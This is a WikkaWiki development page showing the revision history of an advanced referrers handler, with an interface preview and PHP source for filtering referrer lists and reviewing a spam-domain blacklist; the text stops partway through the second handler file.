Revision history for AdvancedReferrersHandler


Revision [19005]

Last edited on 2008-01-28 00:13:29 by BrianKoontz [Modified links pointing to docs server]

No Differences

Revision [15822]

Edited on 2006-12-22 12:07:22 by BrianKoontz [Restored]
Additions:
=====Advanced Referrers Handler=====
>>==See also:==
~-Documentation: ""AdvancedReferrersHandlerInfo"".
~-If you're looking for how to adapt the styling of the user interface to match your own skin, see ""<a href="AdvancedReferrersHandler#hn_8._cssrefmenu_col.css">8. css/refmenu_col.css</a>"" at the end of the page.
>>This is the development page for an advanced referrers handler.::c::
Referrer lists generated by WikkaWiki on high-traffic servers are likely to become unmanageable, due to their ever growing size. Of course you can limit the volume of the referrers by changing the ##referrers_purge_time## in the ConfigurationOptions, so referrers older than n days are purged from the database. To allow a better management of the referrer list without purging the DB, I've modified the referrer handlers to allow //searching// and //filtering//. --DarTar
After DarTar's first version published on this page, we discussed some ideas, and then started completely revising all handlers dealing with referrers and the blacklist in close cooperation (working together on code on IRC is fun!). The original ##referrers_sites## handler is now completely integrated with the ##referrers## handler, and also the ##review_blacklist## and ##delete_referrer## handlers have been modified to integrate seamlessly. The details are below, and the new version will soon be installed as a beta feature on this site, too. --JavaWoman
==== Preview ====
Here's an example of what the new interface looks like:
""<div style="border:1px solid black; padding: 10pt">
<h3>External pages linking to HomePage (last 7 days)</h3>
<p><em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em></p>
<!--<p class="notes">Doesn't look right with your skin? See <a href="http://wikka.jsnx.com/AdvancedReferrersHandler">AdvancedReferrersHandler</a>.--><!--temporary for site only-->
<div class="refmenu"><ul class="menu">
<li>Referrers to HomePage</li><li><a href="http://pciki.javawoman/HomePage/referrers?sites=1">Domains linking to HomePage</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1">Referrers to this site</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1&sites=1">Domains linking to this site</a></li><li><a href="http://pciki.javawoman/HomePage/review_blacklist">Blacklisted sites</a></li>
</ul>
</div><br class="clear" />
<h4>Total: 1 referrers linking to HomePage</h4>
<div id="refform"><form action="http://pciki.javawoman/HomePage/referrers" method="post">
<!--<fieldset class="hidden">
<input type="hidden" name="global" value="0" />
<input type="hidden" name="sites" value="0" />
</fieldset>-->
<fieldset>
<legend>Filter view:</legend>
<label for="qo" class="mainlabel">URL:</label>
<select name="qo" id="qo" title="Select search option">
<option value="1" selected="selected">containing</option>
<option value="0">not containing</option>
</select>
<label for="q">string</label>
<input type ="text" name="q" id="q" title="Enter a search string" size="10" maxlength="50" /><br />
<label for="ho" class="mainlabel">Hits:</label>
<select name="ho" id="ho" title="Select filter option">
<option value="1" selected="selected">at least</option>
<option value="0">no more than</option>
</select>
<input type ="text" name="h" id="h" title="Enter number of hits" size="5" maxlength="5" value="1" />
<label for="h">hits</label><br />
<label for="days" class="mainlabel">Period:</label>
<select name="days" id="days" title="Select period in days">
<option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option><option value="7" selected="selected">7</option><option value="14">14</option><option value="21">21</option><option value="28">28</option><option value="30">30</option></select>
<label for="h">days</label>
</fieldset>
<input type="submit" value="Show referrers" accesskey="r" />
</form>
</div>
<h4>Result: 1 referrers linking to HomePage</h4>
<table id="reflist" summary="Filtered list of referrers, with hits, sorted by number of hits">
<thead><tr><th class="hits" scope="col">Hits</th><th class="refs" scope="col">Referrers</th></tr>
</thead>
<tbody>
<tr><td class="hits">1</td><td class="refs"><a href="http://javawoman.com/">http://javawoman.com/</a></td></tr>
</tbody>
</table>
<div class="refmenu"><ul class="menu">
<li>Referrers to HomePage</li><li><a href="http://pciki.javawoman/HomePage/referrers?sites=1">Domains linking to HomePage</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1">Referrers to this site</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1&sites=1">Domains linking to this site</a></li><li><a href="http://pciki.javawoman/HomePage/review_blacklist">Blacklisted sites</a></li>
</ul>
</div><br class="clear" />
</div>""
==== Features ====
Current version: **0.8**
~-search referrers/domains by string
~-filter referrers/domains by number of hits
~-filter referrers/domains by time interval
~-seamless integration of the handlers
~-valid XHTML (some of the old code wasn't)
~-accessible form and results table
~-internationalization-ready
Todo:
~-see docblocks in the code
==== The code ====
===1. ##wikka.php##===
The method ##""LoadReferrers()""## (from line **754**) is obsolete now. You can comment it out, or remove it, or even leave it in place, but it isn't used any more. All queries are completely dynamically generated depending on the "view" requested and the selection criteria given.
===2. ##handlers/page/referrers_sites.php##===
This handler file is now obsolete as well; its functionality is completely integrated with the new **referrers ** handler (below). It's best to remove or rename this file since it will not work together with the new handlers.
===3. ##handlers/page/referrers.php##===
This has undergone a complete overhaul by both DarTar and JavaWoman. See the docblock and various comments in the code for details. Since it's still beta code, there is some debug code present as well - that will disappear by the time we get to version 1.0 (see the @todo list in the docblock).
%%(php;1)
<?php
/**
* Display, filter and search a list of referrers or referring sites for the current page or the site as a whole.
*
* Usage: append /referrers to the URL of the page
* add global=1 to specify referrers for the site instead of the current page
* add sites=1 to specify referrerring domains instead of full URLs
*
* This handler allows logged-in users to display, filter and search the referrer list for
* the current page and for the whole site. Current search criteria include strings,
* number of hits, reference period.
*
* @package Handlers
* @subpackage DatabaseHandlers
* @name Referrers
*
* @author ?
* @author {@link http://wikka.jsnx.com/DarTar Dario Taraborelli} - code cleanup, search/filter functionality added.
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman} - more code cleanup, accessibility, integration with referrers_sites
* @version 0.8
* @since Wikka 1.1.6.X
*
* @todo for 1.0:
* - clean up debug code
* - remove LoadReferrers() from core
* - configurable choice hostname (NAME_GLOBAL) or 'this site' (config, installer)
* - configurable parameters for building days dropdown (config, installer)
* - configurable limit to express days as hours (config, installer)
* - build an index on the referrer column in the referrers table (installer)
* - set form id
* - fix stylesheet kluge
* - allow banning by domain or URL keyword (.htaccess)
* - view and filter on recorded IP address; allow banning by IP address (.htaccess)
* later:
* - transfer filter parameters as well so we can redirect to the exact view we came from
* - (global) icons to represent each of the five views, small and larger versions (menu/page)
* - adapt text definitions to take singular-plural into account
* - add paging
* - turn list into form with checkboxes to allow mass blacklisting
*
* @input string $q optional: string used to filter the referrers;
* default: NULL;
* the default can be overridden by providing a POST parameter 'q'
* @input integer $qo optional: determines the kind of search to be performed for string $q:
* 1: search for all referrers containing a given string
* 0: search for all referrers not containing a given string
* default: 1;
* the default can be overridden by providing a POST parameter 'qo'
* @input integer $h optional: number of hits used to filter the referrers;
* default: 1;
* the default can be overridden by providing a POST parameter 'h'
* @input integer $ho optional: determines the kind of filter to be applied to $h:
* 1: search for referrers with at least $h hits;
* 0: search for referrers with no more than $h hits;
* default: 1;
* the default can be overridden by providing a POST parameter 'ho'
* @input integer $days optional: number of days used to filter the referrers;
* default: 1;
* the default can be overridden by providing a POST parameter 'h'
* @input integer $global optional: switches between local/global referrers:
* 1: display referrers for the whole site;
* 0: display referrers for the current page;
* default: 0;
* the default can be overridden by providing a GET/POST parameter 'global'
* @input integer $sites optional: switches between referring urls and domains
* 1: display referring sites (domains);
* 0: display referrers (URLs);
* default: 0;
* the default can be overridden by providing a GET/POST parameter 'sites'
* @input integer $refdel optional: number of referrer records deleted
* @input integer $bladd optional: number of blacklist records added
* @output Selection and filter form for referrers; overview of resulting referrer info
*
* @uses GetConfigValue() # replace by $this->config[] !
* @uses GetPageTag()
* @uses IsAdmin()
* @uses GetUser()
* @uses LoadAll()
* @uses LoadSingle()
* @uses Href()
* @uses makeList()
* @uses FormOpen()
* @uses FormClose()
* @uses GetMethod()
* @uses makeId()
* @uses htmlspecialchars_ent()
*/
// Utilities
/**
* Build an array of numbers consisting of 'ranges' with increasing step size in each 'range'.
*
* A list of numbers like this is useful for instance for a dropdown to choose
* a period expressed in number of days: a difference between 2 and 5 days may
* be significant while that between 92 and 95 may not be.
*
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman}
* @copyright Copyright © 2005, Marjolein Katsma
* @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
* @version 1.0
*
* @param mixed $limits required: single integer or array of integers;
* defines the upper limits of the ranges as well as the next step size
* @param int $max required: upper limit for the whole list
* (will be included if smaller than the largest limit)
* @param int $firstinc optional: increment for the first range; default 1
* @return array resulting list of numbers
*/
function optionRanges($limits, $max, $firstinc = 1)
{
// initializations
if (is_int($limits)) $limits = array($limits);
if ($firstinc < 1) $firstinc = 1;
$opts = array();
$inc = $firstinc;
// first element is the first increment
$opts[] = $inc;
// each $limit is the upper limit of a 'range'
foreach ($limits as $limit)
{
for ($i = $inc + $inc; $i <= $limit && $i < $max; $i += $inc)
{
$opts[] = $i;
}
// we quit at $max, even if there are more $limit elements
if ($limit >= $max)
{
// add $max to the list; then break out of the loop
$opts[] = $max;
break;
}
// when $limit is reached, it becomes the new start and increment for the next 'range'
$inc = $limit;
}
return $opts;
}
// constants
define('DEBUG',FALSE); # @@@ set TRUE to generate debugging output
define('SEARCH_LIKE','LIKE'); # search string operator
define('SEARCH_UNLIKE','NOT LIKE'); # search string operator
define('HITS_DEFAULT', '1'); # (was 0 for referrers, 1 for sites)
define('HITS_MIN_OPTION', '>=');
define('HITS_MAX_OPTION', '<=');
define('HOURS_LIMIT',2); # days expressed as hours @@@ could be made configurable
define('DAYS_MAX', $this->GetConfigValue('referrers_purge_time'));
define('DAYS_DEFAULT', '7'); # default period to retrieve @@@ make configurable
$days_limits = array(7,30,90,365); # ranges for days dropdown @@@ make configurable
// -------------------------------------
// initialize parameters
$q = NULL; # search string
$qo = 1; # search string option
$h = HITS_DEFAULT; # hits number
$ho = 1; # hits option
$days = DAYS_DEFAULT; # period selection
$global = FALSE; # global (site) or this page only
$sites = FALSE; # referrers or referring sites
$refdel = NULL; # referrer records deleted
$bladd = NULL; # blacklist records added
// -------------------------------------
// initialize internal variables
$string_option = SEARCH_LIKE; # LIKE or NOT LIKE
$hits_option = HITS_MIN_OPTION; # MIN (>=) or MAX (<=)
$tag = $this->GetPageTag();
$isAdmin = $this->IsAdmin();
$loggedin = ($isAdmin) ? TRUE : (bool)$this->GetUser();
$pre = $this->config['table_prefix'];
$par = '';
$query = '';
$rows = 0;
// -------------------------------------
// User-interface strings
define('NAME_GLOBAL',$this->GetConfigValue('wakka_name'));
define('TITLE_REFERRERS','External pages linking to %s');
define('TITLE_SITES','Domains linking to %s');
define('REPORT_BLACKLIST','Referrer records removed: %d; blacklist records added: %d');
define('TOTAL_REFERRERS','Total: %1$d referrers linking to %2$s');
define('TOTAL_SITES','Total: %1$d referrers linking to %2$s');
// current target
# you can use NAME_GLOBAL instead of 'this site' if the site name is short enough
# @@@ JW: choice between 'this site' and NAME_GLOBAL could be set via configuration (later)
define('TARGET_GLOBAL','this site');
define('TARGET_PAGE',$tag);
// menus don't use current target but *possible* targets
define('MENU_REFERRERS','Referrers to %s');
define('MENU_SITES','Domains linking to %s');
define('MENU_REFERRERS_PAGE',sprintf(MENU_REFERRERS,TARGET_PAGE));
define('MENU_SITES_PAGE',sprintf(MENU_SITES,TARGET_PAGE));
define('MENU_REFERRERS_GLOBAL',sprintf(MENU_REFERRERS,TARGET_GLOBAL));
define('MENU_SITES_GLOBAL',sprintf(MENU_SITES,TARGET_GLOBAL));
define('MENU_BLACKLIST','Blacklisted sites');
define('FORM_LEGEND','Filter view:');
define('FORM_URL_OPT_REFERRERS','URL:');
define('FORM_URL_OPT_SITES','Domain:');
define('FORM_URL_OPT_TITLE','Select search option');
define('FORM_URL_OPT_1','containing');
define('FORM_URL_OPT_0','not containing');
define('FORM_URL_STRING_LABEL','string');
define('FORM_URL_STRING_TITLE','Enter a search string');
define('FORM_HITS_OPT_LABEL','Hits:');
define('FORM_HITS_OPT_TITLE','Select filter option');
define('FORM_HITS_OPT_1','at least');
define('FORM_HITS_OPT_0','no more than');
define('FORM_HITS_NUM_LABEL','hits');
define('FORM_HITS_NUM_TITLE','Enter number of hits');
define('FORM_DAYS_OPT_LABEL','Period:');
define('FORM_DAYS_OPT_TITLE','Select period in days');
define('FORM_DAYS_NUM_LABEL','days');
define('FORM_SUBMIT_URLS','Show referrers');
define('FORM_SUBMIT_SITES','Show referring domains');
define('LIST_PERIOD_HOURS',' (last %d hours)');
define('LIST_PERIOD_DAYS',' (last %d days)');
define('LIST_SUMMARY_REFERRERS','Filtered list of referrers, with hits%s, sorted by number of hits');
define('LIST_SUMMARY_SITES','Filtered list of referring sites, with hits%s, sorted by number of hits');
define('LIST_HEAD_HITS','Hits');
define('LIST_HEAD_ACTION','Action');
define('LIST_HEAD_LIST_REFERRERS','Referrers');
define('LIST_HEAD_LIST_SITES','Referring hosts');
define('LIST_REF_UNKNOWN','unknown'); # make sure the *exact* same string is used in the whitelist definition (delete_referrer.php)
define('LIST_ACTION_DESC',' and links to blacklist spammers');
define('LIST_ACTION_BLACKLIST','Blacklist');
define('LIST_ACTION_BLACKLIST_TITLE','Blacklist this domain');
define('SPAM_NOTE','Note to spammers: This page is not indexed by search engines, so don\'t waste your time.');
define('LOGIN_NOTE','You need to login to see referring sites.');
// show result counts for target
define('LIST_RESULT_COUNTER_REFERRERS','Filtered result: %1$d referrers linking to %2$s'); # @@@ does not take account of singular
define('LIST_RESULT_COUNTER_SITES','Filtered result: %1$d domains linking to %2$s'); # @@@ does not take account of singular
define('LIST_RESULT_NONE','Filtered result:');
// show 'no result' summary for target
define('NONE_NOTE_REFERRERS','No referrers found linking to %s');
define('NONE_NOTE_SITES','No domains found linking to %s');
// -------------------------------------
// fetch and validate parameters
// get query string and comparison method
if (isset($_POST['q']))
{
$tq = trim(strip_tags($_POST['q']));
if ('' != $tq)
{
$q = mysql_real_escape_string($tq);
if (isset($_POST['qo']))
{
$qo = ($_POST['qo'] == '1') ? 1 : 0;
$string_option = ($qo == 1) ? SEARCH_LIKE : SEARCH_UNLIKE;
}
}
}
// get hits and min or max criteria
if (isset($_POST['h']))
{
$h = (is_numeric($_POST['h'])) ? abs((int)$_POST['h']) : HITS_DEFAULT; # cast to positive integer if numeric
}
if (isset($_POST['ho']))
{
$ho = ($_POST['ho'] == '1') ? 1 : 0;
$hits_option = ($ho == 1) ? HITS_MIN_OPTION : HITS_MAX_OPTION;
}
// get period, not longer than purge time
if (isset($_POST['days']))
{
$days = (is_numeric($_POST['days'])) ? min(abs((int)$_POST['days']),DAYS_MAX) : DAYS_DEFAULT;
}
// get search target: page or site (global)
if (isset($_POST['global']))
{
$global = (bool)$_POST['global'];
}
elseif (isset($_GET['global']))
{
$global = (bool)$_GET['global'];
}
$iglobal = (int)$global;
// get precision: URLS (referrers) or referring sites (domains)
if (isset($_POST['sites']))
{
$sites = (bool)$_POST['sites'];
}
elseif (isset($_GET['sites']))
{
$sites = (bool)$_GET['sites'];
}
$isites = (int)$sites;
//get reported values (no validation needed, just cast to integer)
if (isset($_GET['refdel']))
{
$refdel = (int)$_GET['refdel'];
$bladd = (isset($_GET['bladd'])) ? $bladd = (int)$_GET['bladd'] : 0;
}
// derive parameters for 'current' links
if (1 == $global)
{
if ('' != $par) $par .= '&';
$par .= 'global=1';
}
if (1 == $sites)
{
if ('' != $par) $par .= '&';
$par .= 'sites=1';
}
// -------------------------------------
// build query from chunks depending on criteria chosen
if ($loggedin)
{
$query = 'SELECT referrer';
if ($sites)
{
// add 'host' = domain extracted from referrring URL using this algorithm:
// find first char after http:// : LOCATE('//',referrer)+2
// find first / after this: LOCATE('/',referrer,(LOCATE('//',referrer)+2)-1
// calculate length: (LOCATE('/',referrer,(LOCATE('//',referrer)+2)-1) - (LOCATE('//',referrer)+2)
// get host (standard): SUBSTRING(referrer FROM (LOCATE('//',referrer)+2) FOR ((LOCATE('/',referrer,(LOCATE('//',referrer)+2)-1) - (LOCATE('//',referrer)+2)))
// *or*
// get host (MySQL-specific): SUBSTRING(SUBSTRING_INDEX(referrer,'/',3) FROM (LOCATE('//',referrer)+1))
$protocol_host = 'SUBSTRING_INDEX(referrer,"/",3)'; # protocol and host: everything before first single /
$start_host = 'LOCATE("//",referrer)+2'; # start position of host: after //
$query .= ', SUBSTRING('.$protocol_host.' FROM ('.$start_host.')) AS host';
// NOTE: COUNT() cannot use a derived column name but it *can* take an expression
$query .= ', COUNT(SUBSTRING('.$protocol_host.' FROM ('.$start_host.'))) AS num';
$query .= ' FROM '.$pre.'referrers';
if (!$global)
{
$query .= " WHERE page_tag = '".mysql_real_escape_string($tag)."'";
}
#if ($days != $max_days)
if ($days != DAYS_MAX)
{
$query .= (!strpos($query,'WHERE')) ? ' WHERE' : ' AND';
$query .= ' TO_DAYS(NOW()) - TO_DAYS(time) <= '.$days; # filter by period
}
$query .= ' GROUP BY host ';
if (isset($q))
{
$query .= ' HAVING host '.$string_option." '%".$q."%'"; # filter by string (derived column so we use HAVING)
}
if ($hits_option != HITS_MIN_OPTION || $h != 1)
{
$query .= (!strpos($query,'HAVING')) ? ' HAVING' : ' AND';
$query .= ' num '.$hits_option.' '.$h; # filter by hits number (derived column so we use HAVING)
}
}
else
{
$query = 'SELECT referrer';
$query .= ', COUNT(referrer) AS num';
$query .= ' FROM '.$pre.'referrers';
if (!$global)
{
$query .= " WHERE page_tag = '".mysql_real_escape_string($tag)."'";
}
if (isset($q))
{
$query .= (!strpos($query,'WHERE')) ? ' WHERE' : ' AND';
$query .= ' referrer '.$string_option." '%".$q."%'"; # filter by string
}
#if ($days != $max_days)
if ($days != DAYS_MAX)
{
$query .= (!strpos($query,'WHERE')) ? ' WHERE' : ' AND';
$query .= ' TO_DAYS(NOW()) - TO_DAYS(time) <= '.$days; # filter by period
}
$query .= ' GROUP BY referrer ';
if ($hits_option != HITS_MIN_OPTION || $h != 1)
{
$query .= ' HAVING num '.$hits_option.' '.$h; # filter by hits number (derived column so we use HAVING)
}
}
$query .= ' ORDER BY num DESC, referrer ASC'; # set order
// get total number of referrers (NOT records!)
$query_refcount = 'SELECT COUNT(DISTINCT(referrer)) AS total'; # @@@ referrer column should be indexed to make this really efficient
$query_refcount .= ' FROM '.$pre.'referrers';
if (!$global)
{
$query_refcount .= " WHERE page_tag = '".mysql_real_escape_string($tag)."'";
}
}
// -------------------------------------
// execute query (if logged in)
// @@@ NOTE: we don't use LoadReferrers any more since the query is now completely dynamically built
if ($loggedin)
{
// execute query
$referrers = $this->LoadAll($query);
$totalrefs = $this->LoadSingle($query_refcount);
}
// -------------------------------------
// build UI elements
// define current target
$target = ($global) ? TARGET_GLOBAL : TARGET_PAGE;
// title
$title = ($sites) ? sprintf(TITLE_SITES,$target) : sprintf(TITLE_REFERRERS,$target);
$title .= ($days <= HOURS_LIMIT) ? sprintf(LIST_PERIOD_HOURS,24*$days) : sprintf(LIST_PERIOD_DAYS,$days);
if ($isAdmin)
{
if (isset($refdel)) $rptblacklisted = sprintf(REPORT_BLACKLIST,$refdel,$bladd);
}
if ($loggedin)
{
// results
$tot = $totalrefs['total'];
$total = ($sites) ? sprintf(TOTAL_SITES,$tot,$target) : sprintf(TOTAL_REFERRERS,$tot,$target);
$creferrers = count($referrers);
if ($creferrers > 0)
{
$result = ($sites) ? sprintf(LIST_RESULT_COUNTER_SITES,$creferrers,$target) : sprintf(LIST_RESULT_COUNTER_REFERRERS,$creferrers,$target);
}
else
{
$result = LIST_RESULT_NONE;
}
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
// menu
if ($global)
{
$m_referrers_page = '<a href="'.$this->Href('referrers').'">'.$menu_referrers_page.'</a>';
$m_sites_page ='<a href="'.$this->Href('referrers','','sites=1').'">'.$menu_sites_page.'</a>';
$m_referrers_global = ($sites) ? '<a href="'.$this->Href('referrers','','global=1').'">'.$menu_referrers_global.'</a>' : $menu_referrers_global;
$m_sites_global = ($sites) ? $menu_sites_global : '<a href="'.$this->Href('referrers','','global=1&sites=1').'">'.$menu_sites_global.'</a>';
}
else
{
$m_referrers_page = ($sites) ? '<a href="'.$this->Href('referrers').'">'.$menu_referrers_page.'</a>' : $menu_referrers_page;
$m_sites_page = ($sites) ? $menu_sites_page : '<a href="'.$this->Href('referrers','','sites=1').'">'.$menu_sites_page.'</a>';
$m_referrers_global = '<a href="'.$this->Href('referrers','','global=1').'">'.$menu_referrers_global.'</a>';
$m_sites_global = '<a href="'.$this->Href('referrers','','global=1&sites=1').'">'.$menu_sites_global.'</a>';
}
$m_blacklist = '<a href="'.$this->Href('review_blacklist').'">'.$menu_blacklist.'</a>';
// don't generate id since the menu is used multiple times
$menu = $this->makeList(array($m_referrers_page,$m_sites_page,$m_referrers_global,$m_sites_global,$m_blacklist),FALSE,'menu');
// days dropdown content
$daysopts = optionRanges($days_limits,DAYS_MAX);
// form
$form = $this->FormOpen('referrers','','POST'); # @@@ add parameter for id
$form .= '<fieldset class="hidden">'."\n";
$form .= '<input type="hidden" name="global" value="'.$iglobal.'" />'."\n";
$form .= '<input type="hidden" name="sites" value="'.$isites.'" />'."\n";
$form .= '</fieldset>'."\n";
$form .= '<fieldset>'."\n";
$form .= '<legend>'.FORM_LEGEND.'</legend>'."\n";
$form .= '<label for="qo" class="mainlabel">'.(($sites) ? FORM_URL_OPT_SITES : FORM_URL_OPT_REFERRERS).'</label> '."\n";
$form .= '<select name="qo" id="qo" title="'.FORM_URL_OPT_TITLE.'">'."\n";
$form .= '<option value="1"'.(($qo == '1')? ' selected="selected"' : '').'>'.FORM_URL_OPT_1.'</option>'."\n";
$form .= '<option value="0"'.(($qo == '0')? ' selected="selected"' : '').'>'.FORM_URL_OPT_0.'</option>'."\n";
$form .= '</select> '."\n";
$form .= '<label for="q">'.FORM_URL_STRING_LABEL.'</label> '."\n";
$form .= '<input type ="text" name="q" id="q" title="'.FORM_URL_STRING_TITLE.'" size="10" maxlength="50" value="'.$q.'" />';
$form .= '<br />'."\n";
$form .= '<label for="ho" class="mainlabel">'.FORM_HITS_OPT_LABEL.'</label> '."\n";
$form .= '<select name="ho" id="ho" title="'.FORM_HITS_OPT_TITLE.'">'."\n";
$form .= '<option value="1"'.(($ho == '1')? ' selected="selected"' : '').'>'.FORM_HITS_OPT_1.'</option>'."\n";
$form .= '<option value="0"'.(($ho == '0')? ' selected="selected"' : '').'>'.FORM_HITS_OPT_0.'</option>'."\n";
$form .= '</select> '."\n";
$form .= '<input type ="text" name="h" id="h" title="'.FORM_HITS_NUM_TITLE.'" size="5" maxlength="5" value="'.$h.'" />'."\n";
$form .= ' <label for="h">'.FORM_HITS_NUM_LABEL.'</label>';
$form .= '<br />'."\n";
$form .= '<label for="days" class="mainlabel">'.FORM_DAYS_OPT_LABEL.'</label> '."\n";
$form .= '<select name="days" id="days" title="'.FORM_DAYS_OPT_TITLE.'">'."\n";
// build drop-down
foreach ($daysopts as $opt)
{
$selected = ($opt == $days) ? ' selected="selected"' : '';
$form .= '<option value="'.$opt.'"'.$selected.'>'.$opt.'</option>';
}
$form .= '</select> '."\n";
$form .= ' <label for="h">'.FORM_DAYS_NUM_LABEL.'</label>'."\n";
$form .= '</fieldset>'."\n";
$form .= '<input type="submit" value="'.(($sites) ? FORM_SUBMIT_SITES : FORM_SUBMIT_URLS).'" accesskey="r" />'."\n";
$form .= $this->FormClose();
// referrers list with admin link for blacklisting
if ($sites)
{
$summary = ($isAdmin) ? sprintf(LIST_SUMMARY_SITES,LIST_ACTION_DESC) : sprintf(LIST_SUMMARY_SITES,'');
$refshead = LIST_HEAD_LIST_SITES;
}
else
{
$summary = ($isAdmin) ? sprintf(LIST_SUMMARY_REFERRERS,LIST_ACTION_DESC) : sprintf(LIST_SUMMARY_REFERRERS,'');
$refshead = LIST_HEAD_LIST_REFERRERS;
}
if ($isAdmin)
{
$redir = ($global||$sites) ? $this->GetMethod().'&'.$par : $this->GetMethod(); # ensure we return to the same view
$par = ($sites) ? 'spam_site' : 'spam_link';
$blacklisturl = $this->Href('delete_referrer','',$par.'=').'%s&redirect=%s';
$blacklink = '<a href="'.$blacklisturl.'" title="'.LIST_ACTION_BLACKLIST_TITLE.'">'.LIST_ACTION_BLACKLIST.'</a>';
}
// ids - use constant for variable-content heading
$idTitle = $this->makeId('hn','title');
$idTotal = $this->makeId('hn','total');
$idResult = $this->makeId('hn','result');
}
// -------------------------------------
// show user interface (pre-template)
echo '<div class="page">'."\n";
echo '<h3 id="'.$idTitle.'">'.$title.'</h3>'."\n";
echo '<p><em>'.SPAM_NOTE.'</em></p>'."\n";
echo '<p class="notes">Doesn\'t look right with your skin? See <a href="http://wikka.jsnx.com/AdvancedReferrersHandler">AdvancedReferrersHandler</a>.<!--temporary for site only-->'."\n";
# debug
if (DEBUG)
{
echo 'Query (ref): '.$query.'<br />';
echo 'Query (sites): '.$query_sites.'<br />';
echo ($global) ? 'Global: TRUE<br />' : 'Global: FALSE<br />';
echo ($sites) ? 'Sites: TRUE<br />' : 'Sites: FALSE<br />';
}
# debug
if ($loggedin)
{
if ($isAdmin && isset($refdel)) echo '<p class="notes">'.$rptblacklisted.'</p>';
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
echo '<h4 id="'.$idTotal.'">'.$total.'</h4>'."\n";
echo '<div id="refform">'.$form.'</div>'."\n"; # @@@ kluge until FormOpen() is adapted: id should actually be on form itself and div not necessary!
if ($creferrers != 0)
{
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<table id="reflist" summary="'.$summary.'">'."\n";
echo '<thead>';
echo '<tr><th class="hits" scope="col">'.LIST_HEAD_HITS.'</th>';
if ($isAdmin) echo '<th class="action" scope="col">'.LIST_HEAD_ACTION.'</th>';
echo '<th class="refs" scope="col">'.$refshead.'</th></tr>'."\n";
echo '</thead>'."\n";
echo '<tbody>'."\n";
foreach ($referrers as $referrer)
{
$hits = $referrer['num'];
if ($sites)
{
$ref = $this->htmlspecialchars_ent($referrer['host']);
}
else
{
$ref = $this->htmlspecialchars_ent($referrer['referrer']);
}
echo '<tr>';
echo '<td class="hits">'.$hits.'</td>';
if ($isAdmin) echo '<td class="action"><span class="keys">'.sprintf($blacklink,$ref,$redir).'</span></td>';
if ($sites)
{
echo '<td class="refs">'.$ref.'</td>';
}
else
{
echo '<td class="refs"><a href="'.$ref.'">'.$ref.'</a></td>';
}
echo '</tr>'."\n";
}
echo '</tbody>'."\n";
echo '</table>'."\n";
}
else
{
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<p><em>'.(($sites) ? sprintf(NONE_NOTE_SITES,$target) : sprintf(NONE_NOTE_REFERRERS,$target)).'</em></p>'."\n";
}
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
}
else
{
echo '<p><strong>'.LOGIN_NOTE.'</strong></p>'."\n";
}
echo '</div>'."\n";
?>
%%
===4. ##handlers/page/review_blacklist.php##===
This is rewritten mainly to make it integrate seamlessly with the referrers handler. There was also a problem with the output which was not valid XHTML; it now follows the same pattern as the referrers handler and got the same treatment for preparation for internationalization as well.
%%(php;1)
<?php
/**
* Display, filter and search a list of blacklisted domains.
*
* Usage: append /review_blacklist to the URL of the page
*
* This handler allows logged-in users to display and search the blacklist; an admin may
* remove blacklisted domains from the database.
*
* @package Handlers
* @subpackage DatabaseHandlers
* @name ReviewBlacklist
*
* @author ?
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman} - code cleanup, search/filter functionality added, valid XHTML, accessibility
* @version 0.8
* @since Wikka 1.1.6.X
*
* @todo for 1.0:
* - clean up debug code
* - configurable choice hostname (NAME_GLOBAL) or 'this site' (config, installer)
* - make index on the spammer column in the referrer_blacklist table _unique_ (installer) and remove extra query
* - set form id
* - fix stylesheet kluge
* - include options and process to handle banned IP addresses
* later:
* - (global) icons to represent each of the five views, small and larger versions (menu/page)
* - adapt text definitions to take singular-plural into account
* - add paging
* - turn list into form with checkboxes to allow mass removing
*
* @input string $q optional: string used to filter the referrers;
* default: 'NULL;
* the default can be overridden by providing a POST parameter 'q'
* @input integer $qo optional: determines the kind of search to be performed for string $q:
* 1: search for all referrers containing a given string
* 0: search for all referrers not containing a given string
* default: 1;
* the default can be overridden by providing a POST parameter 'qo'
* @input string $remove optional: GET parameter - domain to be removed from the blacklist
* default: NULL;
* @output Selection and filter form for blacklisted domain; overview of resulting blacklist info
*
* @uses GetPageTag()
* @uses IsAdmin()
* @uses GetGetUser()
* @uses Query()
* @uses LoadAll()
* @uses LoadSingle()
* @uses Href()
* @uses makeList()
* @uses FormOpen()
* @uses FormClose()
* @uses makeId()
* @uses htmlspecialchars_ent()
*/
// constants
define('DEBUG',FALSE); # @@@ set TRUE to generate debugging output
define('SEARCH_LIKE','LIKE'); # search string operator
define('SEARCH_UNLIKE','NOT LIKE'); # search string operator
// -------------------------------------
// initialize parameters
$q = NULL; # search string
$qo = 1; # search string option
$remove = NULL; # domain to be removed from the blacklist
// -------------------------------------
// initialize internal variables
$string_option = SEARCH_LIKE; # LIKE or NOT LIKE
$tag = $this->GetPageTag();
$isAdmin = $this->IsAdmin();
$loggedin = ($isAdmin) ? TRUE : (bool)$this->GetUser();
$pre = $this->config['table_prefix'];
$queryd = '';
$querys = '';
$rows = 0;
// -------------------------------------
// User-interface strings
define('TITLE','Blacklisted domains');
define('REPORT_REMOVED','Removed: %d records'); # @@@ does not take account of singular
define('TOTAL_BL','Total: %d blacklisted domain');
// current target
# you can use NAME_GLOBAL instead of 'this site' if the site name is short enough
# @@@ JW: choice between 'this site' and NAME_GLOBAL could be set via configuration (later)
